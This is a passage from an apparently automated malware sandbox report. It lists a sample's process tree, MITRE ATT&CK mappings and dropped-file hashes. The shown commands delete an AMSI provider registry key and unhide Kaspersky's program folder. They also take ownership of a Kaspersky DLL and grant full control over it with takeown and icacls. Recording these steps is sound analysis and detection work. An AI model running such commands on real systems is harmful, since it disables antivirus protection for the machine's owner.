  reg delete "HKCR\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}" /f
  2⤵
  PID:1900
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}" /f
  2⤵
  PID:1588
- C:\Windows\SYSTEM32\attrib.exe
  attrib -H -S "C:\Program Files (x86)\Kaspersky Lab"
  2⤵
  - Views/modifies file attributes
  PID:5908
- C:\Windows\SYSTEM32\attrib.exe
  attrib -H -S -R "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Antivirus 21.3\office_antivirus.dll"
  2⤵
  - Views/modifies file attributes
  PID:3508
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Antivirus 21.3\office_antivirus.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5196
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5480
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Antivirus 21.3\office_antivirus.dll" /grant Administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  - Executes a command shell one-liner
  PID:5748

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2740

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv QLIG9kYFfUqMAOoMVlt1aA.0.2
1⤵
PID:5784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

office_antivirus.dll

Path C:\Program Files (x86)\Kaspersky Lab\Kaspersky Antivirus 21.3\office_antivirus.dll
Size 23KB
SHA256 81472a56e18034f16bc2b73c7025a1137942ce0db43bd7eb6c4095e56392adcd
MD5 6e5394b57a7ec6ca393e00bdea821cee
SHA1 3fa7d442565dbf4fbd3ef5864aade290ece1c7c5
SHA512 b69fcb8404e5a4a86c2b0baf780bdfa18febf1f6fcd8c2279afb76805607b92526d89c54f3b059b2c0e867c846975b1fc0ff69b0c27fec5a242f49bbf4b93bf5
SSDEEP 384:s4ZzQHvy1MshplRXvPKgGthUpH8DZvzZUhCm/Ct:s1P2M0plR/JGtup8lvzZxKs
TLSH
T1FAB27CC2BF1D04E6DAA14670C8E31D07FCB7B6E407642AAF026095660ED73D2BF27428
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

34cd301f-a9d6-4c26-a1d8-7aba6f76551a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\34cd301f-a9d6-4c26-a1d8-7aba6f76551a.tmp
Size 18KB
SHA256 e03705ff58ffb8b2abd93234c5f2d3f8d17f8b00a517a4fb4d0f38af2470be08
MD5 3a5646334ff42863d0a132ec5c34a6cf
SHA1 f663b026c3a7968adee508c3fe1176bc57cdccfb
SHA512 d7571b114ef9d4f8f48c1fc74a48f73d493cb0d2bda8ed2309c68901d61792283519fbff143cb6518b590a5a05329511b520b2bca3e9a4dc1d70ebe5e6a79423
SSDEEP 384:naIQkUSvbgsNKJEKbGTAth//cpVmH7vBEfqIIl5:aAEMMT/WmH75EiL7
TLSH
T143827D71B8A8BD7B0AE39540F04B3A13DEB484ABD6D60F90D5DE6B2C01CB19C2347D26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

35e277f1-005d-47e1-a320-6280843da34d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\35e277f1-005d-47e1-a320-6280843da34d.tmp
Size 12KB
SHA256 fd978f8a854c7bb0133f0c9ccd25cb95f16e0ded76bb93152d8cad6afafc8ce6
MD5 5c717d045c0f67884479ed047d951228
SHA1 b2ef84077bda6f20c9248421ee53eb22a9c5d152
SHA512 8afa4539b6ae47a15914d38f04d0022028fb8eb994cb8bfd7a9edd7ff2cfed7eb1a5495ff6d4cfae82f77d6647cf8309be3cda3493f10105a3435427ca411885
SSDEEP 192:zaRsNKhQpEEUb5Q1QmiU1WHXgh//ORhpUNo4qoD6yhw:zaRsNKhEKbGT8wh//cpHmD6yi
TLSH
T18F422975B8A4BC379DA79585F04736138EB880ABDBC65F54DAD92F1C06DB19C4307812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7c1dbe6a-2658-4ceb-960f-5580ccae5a26.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\7c1dbe6a-2658-4ceb-960f-5580ccae5a26.tmp
Size 18KB
SHA256 2b4cda9e47806404b117ec7d400b055b8df555d1fde7e114774dc876db29bb89
MD5 073aff953f1328a8add7a354b37cc8d4
SHA1 d5503e033aeacc49f830398d3f507a378e3524d6
SHA512 8dec478a8d8025294a4c5cbcd8c6aec4450f147c8e83c0f42d36e31cbb3a27ca4c79dc97bd9ec6ab6513a3a376777e13184746b4adf01a4fb56553a4a44b695e
SSDEEP 384:nUWQkUSvbgsNKMEKbGCAth//cpPmH7vBEfqIIl5:U2E5VT/MmH75EiL7
TLSH
T195828D71B8A8BD7B0AE39540F14B3A13DEB4846BD7D90F90D5DEAB2C01CB19C2347926
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7cc74baa-5afc-4f89-b677-d99cfe6eb035.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\7cc74baa-5afc-4f89-b677-d99cfe6eb035.tmp
Size 12KB
SHA256 e243b61058a40327db3901d9021aeacad9a37690a0baca4c7ee58e7dbabc9f32
MD5 d15b794f8b395b7eeb0dc5c329970ae4
SHA1 ff63647613f7257e7ecf7840d4c65773176bf629
SHA512 cf5e2e4502f08267ddcaed048932a2598f3e8cadacd9343503874566e00a2812cea64ab2faea8a26483d8c8665ca749ffce5065faa39e73e1e10e517f1b773f1
SSDEEP 192:zarLsNKrQpEEUb5Q1QmiU1XHaxh//ORhpUNo4qoD6yhw:zaXsNKrEKbGTlgh//cpHmD6yi
TLSH
T1AE422875BCA4BC376DA39585F04736139E7880ABDBCA1F54DADD2F1C02DA1AC4307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

81a9ff77-e40c-445f-8283-d015d991b7cd.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\81a9ff77-e40c-445f-8283-d015d991b7cd.tmp
Size 10KB
SHA256 430d852fc047a3bdbfc6da4a05f4e4ca7da6b365570cced95d98efaaca5e4806
MD5 20f61f253a1036b32598f678a7d65c46
SHA1 3224a2907adbd95818166c4d392b59dfec26d001
SHA512 62eb8a705bfa2881d2b0cde759b2008b1d75b57ad5bab430cd79468dada10405448fb311d53d868bcc037dabd8b1920cae1f581d80a6d9dd5a2c8787ffd229ff
SSDEEP 192:zaRsNKZQpEEUb5Q1QmiU1rHCZh//ORhpUNo4qoU8:zaRsNKZEKbGT1Ah//cpHmU8
TLSH
T18F321835B8A8BC3B9DA39584F0473A138E7440BBDBC65F94D6D92B1C06EB1AC4307827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8eb5dd74-71ee-4c71-892c-9da4234e4731.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\8eb5dd74-71ee-4c71-892c-9da4234e4731.tmp
Size 12KB
SHA256 bf57a5d572990005d776e767d3abd65352cae784d28c499c291889ba32607bb6
MD5 9381d6b625fac9ce8f5cc324a0769973
SHA1 4d352fe54e6c23a37dc09514059e9a915cd74e40
SHA512 b00231f46da5d389737f814c2efe482f1388471ad7054f158f0aff53aba5d09088258471edbd22c5a42a0d28601332e86ec9e2132f95a1aec76930f3be3a22ed
SSDEEP 192:zaRsNKRQpEEUb5Q1QmiU1YHW8Uh//ORhpUNo4qoD6yhu:zaRsNKREKbGT2WHh//cpHmD6yk
TLSH
T163422875BCA4BC37AEA39585F04736138EB880ABDBC65F94DAD92F1C06DB19C4307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

929d7501-2cdc-4ab3-9739-7e9c331d34c6.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\929d7501-2cdc-4ab3-9739-7e9c331d34c6.tmp
Size 8KB
SHA256 e2aaab15b93a565ac9ea3d83ab93e1b95c8c4a846ffa82e871ff40901a8cccf6
MD5 0f4ee5079b252032c3ac60f3ef1f36d1
SHA1 2fa1068b115db494a0d45b446814fe888dc5e0d1
SHA512 e3325b997fe50af64aa531bf9d372265060ada9f17b42d5d0e0430057c416eec0ab19b3b754b0770c9ff168beda9a664f5e71a129b8d40f1484696337afa59bb
SSDEEP 192:zRONr6JUe0QmiUyi2vo//ORhpRNx4qoU6:zRONr6+eEUvo//cpRmU6
TLSH
T16912F835B8A8BC7B5D93A940F08336139EA4407BDBC65F95D6DD2E2C06EF16C5307826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9547b2d9-ebd3-46c1-8740-6eac8a8f28f1.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\9547b2d9-ebd3-46c1-8740-6eac8a8f28f1.tmp
Size 12KB
SHA256 6dfebddddea6765f38f23395af08971da0b059ef7020d378986e1d141a552451
MD5 b398030f41f01e8700da5966899a7031
SHA1 d67ad115faf86f11dc07cd9485c08d7549ccf667
SHA512 c058377bc51856387243cb81d18a89e9897d8d0b2eb9eb1090a7fdb2a2eabf72fa4a74d3bb357264f3c866ba5c8b4dab26564afd5071654698b6062ba873e12a
SSDEEP 192:zaRsNKxQpEEUb5Q1QmiU13H0/h//ORhpUNo4qoD6yhr:zaRsNKxEKbGTJ0h//cpHmD6yh
TLSH
T124422975BCA4BC37ADA39585F04736138EB880ABDBC61F94DAD92F1D06DB19C4307812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9ec7d23b-5566-4995-9a96-cc92eb8cf657.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\9ec7d23b-5566-4995-9a96-cc92eb8cf657.tmp
Size 18KB
SHA256 adaed0580ba66d2262736daf7ea6e568d7368f6c88e3ef8f458cb84b845d630e
MD5 b49e930edc645392136df5f15702af3d
SHA1 cdab78a8e18946920b70ad53afe6a483e9cd0659
SHA512 b706d113a55249271d85623cca43fdda4fc0edf20b6df17378290ae4c724376594de503d1f5a011e75919290ce241e8a0cd84df108ce5aa1716637ff5bc064f2
SSDEEP 384:naxQkUSvbgsNKdEKbGTAth//cpVmH7vBEfqIIl5:ajEsMT/WmH75EiL7
TLSH
T1D0827E75B8A8BD7B0AE39540F14B3A13DEB4846BD6D60F90D5DEAB2C01CB19C2347D26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 928eda824fe964cd23927cf06086d7d24e20a3a5092daf1acee5b632c76c962a
MD5 4ac43ee6512ba8635b7ba6bd015c291b
SHA1 5f9e2474b00ec0e2a9472c049fbea550e26309aa
SHA512 e5ebf9e92458f66e31e080121135313e828b8ebade0bc0e085221ae0d4f5afe0d2035c566590cbfb5902d96f17befe7b24310b4fb9e647b999113175af800ebc
TLSH
T17BD022B2B3A038CFE300083302A083BA2C0A80F300FAE2208C30E08C0BCC02AC283880
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 93c2ca3ce74eca17f27aa90cc3323bb8d6aea5c365862a01a512ce14b9f825b4
MD5 e8a3239e6b22580d77fb537c7bea1fab
SHA1 a99ffe9234c27e560f1c607d3b6c6507928368a3
SHA512 17b0e6f99943a02540148a685b91c62eafca3ef65d9a628bfb59d3b69a93b27c7d3ac42bdc808c52b5b1eac9bf4466a1099df17cd3f5df0bbd5b5282ca8b904e
TLSH
T170D0247133D03CCFD7000433015043751C0540F300F5D3104C30D04C07CD055C143440
MD5 SHA1 SHA512 TLSH

Submit Download

2d5a69bf-6f94-4f4a-8af6-c33fae6e61b7.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\2d5a69bf-6f94-4f4a-8af6-c33fae6e61b7.tmp
Size 10KB
SHA256 32619ba617b528d3b7b271c9f8cb6d5c555f97be9f9465fc7546340cc31fe5ce
MD5 d861c379f5789d04b0fc9123aefe5493
SHA1 296aa8bf9d4c0ba8aa5e7ebe8064c5145848724d
SHA512 95407af838b0600f7c16db4b2b74fa2a7cb4e7c5f9693391c08fba0751b4de8a51609f8fb4f7c5b20d27e51797a123776395c94f41fffe1e668bdb2a3785080a
SSDEEP 192:sxZsu9RqZU/fhsDK/8EIdp8vpHW6+WNnrRhY365f9TDIg53dJ:sxZsu9MU/fhsDlWHbdhX5tp
TLSH
T16732C652AE28A97B4CC7D209BF15BF53E6F9143291D11E48AAFD861C05EBADD230740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4e7c06eb-22a1-4c4b-a9c9-25bd2eb08bac.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4e7c06eb-22a1-4c4b-a9c9-25bd2eb08bac.tmp
Size 32KB
SHA256 6a2c4b4da5987e6daf68418381fa29890eb3489f81c80952e65d3859ea7263c5
MD5 9e7c2a595da478504d0a55cf18ab212d
SHA1 864c84433f560e859e0b11dd0f57b75a51ae84f5
SHA512 01952b8433af83aba9e6c436f3ffe6b27317d670cee3ee0707682fc2b3eb694fbf34af973f74df420636b7a34f46a3c35a773a3280ad039f712de51849db47dd
SSDEEP 768:cqKlm+A7pLuLjYQWvUYe08F1+UoAYDCx9Tuqh0VfUC9xbog/OVzP8/LlpPs/ProT:cqKlm+MEjYQWvUYe0u1jaOP8/L/E/cma
TLSH
T121E2EB7B780CCA7E4F804ADDDC1A7E9F6DB8028B9698C94047FA945C02C76EE51274DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

601d8987-ca33-48d7-a5a4-37ac7465f4f0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\601d8987-ca33-48d7-a5a4-37ac7465f4f0.tmp
Size 10KB
SHA256 4c9f6ff4321f0b38cab90a7908690b41eec94797ee37394825772aeef78e97ec
MD5 6be03b908798eff5ec85c8e0a5cc5b26
SHA1 71d12a876a6436bd15e6f28e3c71ad55deacfe70
SHA512 9a0f07ced13b13fa84c7428b6688690e8fb95d0f9382260da2e8f0f72b1c6cb99256ca22c82a9ef03ce87b64ee2ecbe0e95a2b7bac5e2cd18f55e5763aa9a923
SSDEEP 192:sxZsu9RqsU/fhsGK/8EIdp8vpHW6+WNnrRhY365feTDIg4J:sxZsu9FU/fhsGlWHbdhX5Cc
TLSH
T17B22B7526E28A97B4CC7E209BF15BF53D6FA543291C11E48AAFD861C05EBADD220740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9a2d5e0b-786c-4c2f-84fb-274eb9d57529.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\9a2d5e0b-786c-4c2f-84fb-274eb9d57529.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 03cb35e21a57e3b8d535ffde4b86fd3da4387493a0646f6c03c52517931ee64d
MD5 99c4115a8337ff2e85974a6900d689d3
SHA1 7f32b573f382433f9635a53873339a0d67b379b8
SHA512 1724c687f72eef322598771bd65b9298c6004322fca8f58bdf714d7be63e31129aef230a1227e1859ad9e0964aa754dea9b2f169dceb4c5222baa07d84038acd
TLSH
T1B5510B81E554FAA0FBA8C03842D616F732376BB0B2831D8E0FD3C4781817755A2B30B6
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 aaf79194a92dd2e8d282ac1e1eb2f446c9d474ce5ad358fb1c617de766788640
MD5 8339129a4a2c2c2b7490a5b6c5485790
SHA1 4706835abdbb600fb335f8a44e0ba7ff7620632a
SHA512 764ef50a1a2bbfddfc27cd9922e8dd86a938744c5f83effe99d72b9e20b97e51f3365cdf306289a21f56ac8166ee294b6a242946597d0753834c1529a3d5c386
TLSH
T1DE510B81E554FAA0FBA8C03886D616F732376BB0B1831D8E0FD7C4781817755A2B30B6
MD5 SHA1 SHA512 TLSH

Submit Download

c896cb6c-3588-439a-8103-243371950a6d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\c896cb6c-3588-439a-8103-243371950a6d.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.111.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

192822e2-a548-473a-a5e7-f265bb465b3c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\192822e2-a548-473a-a5e7-f265bb465b3c.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

d3066e61-74a7-451d-bb29-c808f5d775da.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\d3066e61-74a7-451d-bb29-c808f5d775da.tmp
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 73382c924b4f516126d0f22409d7ad8c45582bbc3208c4abe1ac7813e1f5e70a
MD5 099667a27fbe1676c4392a9bdd4abbf6
SHA1 3b2a6a73e0fa062ebc03c6ad1d490e527984dc32
SHA512 3c8f5866ac2af2f8762ca58b57a15e024bccc3b326d2eea06805e8759cfbc91b58ea0dbb17eaa1005804cfe59ce967532f1889f893d7bc7d5c7af14caed68ba8
SSDEEP 48:K0Py7PxRxKbJE5ISfKK9/11KxvaY89/jyL8rKWkmKzb6ZCISOzK9q1IzxsjYhyKW:KEYQKhmOej+KE42WLWKQUc
TLSH
T17F91A19431BF124538BE25889078971A154131B3309CFA7AFFBC51568EAEE044DFF8D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3537675-135e-4983-9f5d-129970bd9f81.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\a3537675-135e-4983-9f5d-129970bd9f81.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

b17e3bab-5a75-49c5-8126-53e222a86dd8.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\b17e3bab-5a75-49c5-8126-53e222a86dd8.tmp
Size 8KB
SHA256 da334d6ecfcebe91d841805b736019d1e6afa90c8b34a0c1c53e70eb98e9efd0
MD5 c83f23df2314d992df33ed3271540589
SHA1 3461476a5025edfeeec849fd39d00c6ed8dcbf38
SHA512 286435901aa98bb1d74b2e05815f85d4743fdfa0ff6aec09e205c2c0d0039ca9051a41e05cba8f6478ede7b450a01c8e9d53ef17e53ff4b7b2fb91936760e54d
SSDEEP 96:KqONkoQsjpfbUmjH5ih/cIPURHl8h4otop5AaDmBKP4v+Y1xf//ojdFxjYpoR1/9:BONw6JUm0QmiUy52so//ORhaBCoaU6
TLSH
T1CF02E734BC68BC7B9EE3AE45F4837B239FA4107B96911F80DAD86E2C01D715C1303826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e3202719-42e0-4cc7-860c-da0e625ffb5d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\e3202719-42e0-4cc7-860c-da0e625ffb5d.tmp
Size 12KB
SHA256 83cfd5f78535dcb265575e7e3c7819a0a5235ea175228d58ab9a02e513abf7df
MD5 069628bfb85aef34e1d68e8c8d0d178b
SHA1 f3b7fb0b12ecbc8450d7ea8700cb21896606a0a0
SHA512 7699ee941f1a7f7160e9ccb470f648c9f939308e8534260301ff4e34c329c837224345997c19ffc565b7c98fa07c92ea280fccb8cf89570fec05ba9969727b4e
SSDEEP 192:zaRsNKrQpEEUb5Q1QmiU1qHJOh//ORhpUNo4qoD6yhw:zaRsNKrEKbGT8kh//cpHmD6yi
TLSH
T151422835B8A4BC376DA39585F04736138E7880ABDBCA1F54DADD2F1C06DB1AC4307826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6d40182c-10eb-4636-a4aa-db66484bae0f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\6d40182c-10eb-4636-a4aa-db66484bae0f.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 bc80e133f3a6993250af3837d478ec1b2648ff1d00a6b5c65b594734075fed60
MD5 b1384f41a68bb738764ac1667cbd3778
SHA1 9b8367a0daa231be4df02a5018272f9e52cfb821
SHA512 6868db9585526dc9df1d668ee8345556b08f9b465be21933e3c08d79c0e97c29853696553744822699babbd8c414ffb506be24d200f50e5da590c7f88956e34a
TLSH
T16D41FB68A6E91108B3B76F569BF6786E487BBD772E46D06D10110E4E0622B40DCB2737
MD5 SHA1 SHA512 TLSH

Submit Download

b1522a8b-f3fe-4c6f-8e50-ce20e60c175b.tmp

Path C:\Users\Admin\AppData\Local\Temp\b1522a8b-f3fe-4c6f-8e50-ce20e60c175b.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

ff0dd0b9-4096-40c7-95b5-fdfe0693364d.tmp

Path C:\Users\Admin\AppData\Local\Temp\ff0dd0b9-4096-40c7-95b5-fdfe0693364d.tmp
Size 158KB
SHA256 3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
MD5 9c18c4721b560ec55f0d5de055144d5c
SHA1 6af37a3bda916cac276ad5879c9f61262d9ae523
SHA512 51466928eb8d3cf7b917919c98bd8168453583d2c3dc5836036d87ffd0d2c732ab8450212a880fc6de199ea569a96993ba0d250a5012160d2d72211880695f92
SSDEEP 3072:5ZwEurOxn8zXnHc2qHNYEU/rUHCVJWGdi0Ha5HnXk9TFzBsuht7yGik:5ZwPOx8D85UIHEI0HaZ09JzKStjik
TLSH
T1CFF3E13E7EDE891AD80B10BB7F16B18BD80D8E0B460AB44B769D80155B3668D1BD1CFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

811dce25-565c-4a3a-a96b-061cb24c7bc2.tmp

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1620_1854925617\811dce25-565c-4a3a-a96b-061cb24c7bc2.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1620_1854925617\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1620_825636389\CRX_INSTALL\_locales\en_CA\messages.json
Size 711B
SHA256 2445cad863be47bb1c15b57a4960b7b0d01864e63cdfde6395f3b2689dc1444b
MD5 558659936250e03cc14b60ebf648aa09
SHA1 32f1ce0361bbfdff11e2ffd53d3ae88a8b81a825
SHA512 1632f5a3cd71887774bf3cb8a4d8b787ea6278271657b0f1d113dbe1a7fd42c4daa717cc449f157ce8972037572b882dc946a7dc2c0e549d71982dcdee89f727
TLSH
T1460197136240AF18470BF05BB9023442A0B44AC62384E0B775EC982C6656DAFB20B3B0
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads